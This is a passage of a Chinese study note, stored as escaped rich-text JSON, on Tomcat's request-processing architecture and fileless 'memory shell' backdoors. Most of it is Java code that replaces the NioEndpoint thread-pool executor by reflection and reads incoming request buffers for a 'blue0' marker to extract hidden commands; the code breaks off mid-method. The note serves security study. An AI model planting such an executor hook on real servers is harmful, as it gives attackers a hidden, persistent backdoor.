255)&#34;}]},{&#34;text&#34;:&#34;），然后通过Processor处理为Tomcat Request交给Adapter。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gzl1-1659007110179&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hnpP-1659007110176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Adapter作为Connector与Container的连接器，自然需要将我们的Request请求转发给Container，但为了满足servlet规范，Adapter将会在这里将其转换为标准的ServletRequest。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pb8n-1659007480007&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7AAL-1659007480004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在通过Mapper查找到映射关系后，Adapeter将会使用&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;getPipeline()获取Pipeline中的Basic Value 将request传入Containner中。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#333333&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G8tL-1658850337135&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZUqA-1658850337133&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;上述文章只是一个简略描述，实际的处理逻辑会更加复杂。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uaNr-1659007649969&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1sw0-1659007649953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入Container后的处理逻辑在这里不过多描述，我们常用的Servlet，Filter，Listener内存马都是在Container中实现，关于它们的原理网上也已有很多分析。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erpK-1658850315131&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ltca-1658850315129&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OiJU-1658850328751&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ANjq-1658850328749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;补一张各组件的请求流程处理图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lASa-1658237348944&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE38e5437b8e207591d8e951726bec85ab&#34;,&#34;width&#34;:595,&#34;height&#34;:396},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/b/WEBRESOURCE38e5437b8e207591d8e951726bec85ab&#34;,&#34;initialSize&#34;:{&#34;width&#34;:595,&#34;height&#34;:396},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kFY1-1659008600201&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HFe5-1659008600198&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1hbR-1658112384855&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xk54-1658112384853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;学习笔记一篇。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5Tb5-1658112385026&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d6pK-1658112385024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KNDk-1658112385115&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z9u1-1658112385113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kZ15-1658734646635&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCE0668f34ebee85fbf424df06f5840675e&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/e/WEBRESOURCE0668f34ebee85fbf424df06f5840675e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:662,&#34;height&#34;:420},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OJE2-1658112385395&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jgyg-1658112385392&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;B5Ho-1658740584086&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/f/WEBRESOURCE288da63fe17cd4525b6a4652e9dcf29f&#34;,&#34;width&#34;:662,&#34;height&#34;:420},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KFaR-1658112186480&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pp83-1658112186476&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z2Wp-1658995175587&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O2p8-1658995175582&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:12}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;odpk-1658995176349&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/1/WEBRESOURCE11fd78c42cee89c6f606685156092d81&#34;,&#34;width&#34;:662,&#34;height&#34;:458},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CSMs-1658996720476&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UVDn-1658996720477&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yv9E-1658996725735&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5cyj-1658996725734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4so2-1658996721831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;...&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FJsQ-1658996740190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j2sh-1658996740188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FUu8-1658996740339&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TC3j-1658996740337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5jtQ-1658996737455&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OwkM-1658996737454&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, \&#34;executor\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H38V-1658996737457&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3EXc-1658996737456&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dmu2-1658996737459&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CuSB-1658996737458&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;threadexcutor exe = new threadexcutor(exec.getCorePoolSize(), exec.getMaximumPoolSize(), exec.getKeepAliveTime(TimeUnit.MILLISECONDS), TimeUnit.MILLISECONDS, exec.getQueue(), exec.getThreadFactory(), exec.getRejectedExecutionHandler());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e7Fn-1658996737461&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LkZv-1658996737460&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;nioEndpoint.setExecutor(exe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VILQ-1658996830197&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Trn-1658996830190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OEos-1658996830688&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TOvu-1658996830686&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QPfy-1658996830860&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x9rX-1658996830857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4kUp-1658996831024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;caxj-1658996831023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;...&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HW6M-1658996839673&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AhfL-1658996839671&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Q3br-1658996839864&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JVom-1658996839862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0eDd-1658996840328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rQ8D-1658996840326&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; public class threadexcutor extends ThreadPoolExecutor {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JDka-1658996841390&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mkUR-1658996841389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3flq-1658996841392&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;udwV-1658996841391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue&lt;Runnable&gt;workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;POne-1658996841394&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2PEu-1658996841393&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EwVF-1658996841396&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o0hp-1658996841395&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hhf6-1658996841398&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Rg66-1658996841397&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m9gY-1658996841400&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uiAU-1658996841399&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public String getRequest() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k68a-1658996841402&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kgsq-1658996841401&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YuQl-1658996841404&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s6Kw-1658996841403&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JZpx-1658996841406&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;477s-1658996841405&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IUsO-1658996841408&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Toxs-1658996841407&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7aml-1658996841410&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MxLt-1658996841409&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uVO5-1658996841412&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MQAz-1658996841411&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ASLd-1658996841414&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iPGB-1658996841413&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHOa-1658996841416&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uRT8-1658996841415&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Object target = getField(thread, \&#34;target\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ScKe-1658996841418&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RduT-1658996841417&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            if (target instanceof Runnable) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NaOa-1658996841420&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lvKC-1658996841419&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jUxq-1658996841422&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7E7b-1658996841421&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;I0O3-1658996841424&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MEL7-1658996841423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gUox-1658996841426&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OgP3-1658996841425&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    Object[] objects = (Object[]) getField(getField(getField(target, \&#34;this$0\&#34;), \&#34;nioChannels\&#34;), \&#34;stack\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eJji-1658996841429&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7R6I-1658996841428&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LmJV-1658996841447&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xLbS-1658996841446&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], \&#34;appReadBufHandler\&#34;), \&#34;byteBuffer\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yllt-1658996841457&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ub79-1658996841456&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    byte[] c = \&#34;success\&#34;.getBytes();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DkIu-1658996841459&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PeCC-1658996841458&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    String a = new String(heapByteBuffer.array(), \&#34;UTF-8\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;faHU-1658996841461&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C6p1-1658996841460&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fxcC-1658996841463&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fg0A-1658996841462&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    if (a.indexOf(\&#34;blue0\&#34;) &gt; -1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7iCV-1658996841465&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f5YF-1658996841464&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;blue0\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yTYx-1658996841467&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;v8JT-1658996841466&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9MV0-1658996841469&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;COwH-1658996841468&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        String b = a.substring(a.indexOf(\&#34;blue0\&#34;) + \&#34;blue0\&#34;.length() + 1, a.indexOf(\&#34;\\r\&#34;, a.indexOf(\&#34;blue0\&#34;)) - 1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vtyy-1658996841471&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lf7m-1658996841470&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        System.out.println(b);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mhVx-1658996841473&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZeoQ-1658996841472&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        return b;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kMVk-1658996841475&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BCWy-1658996841474&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    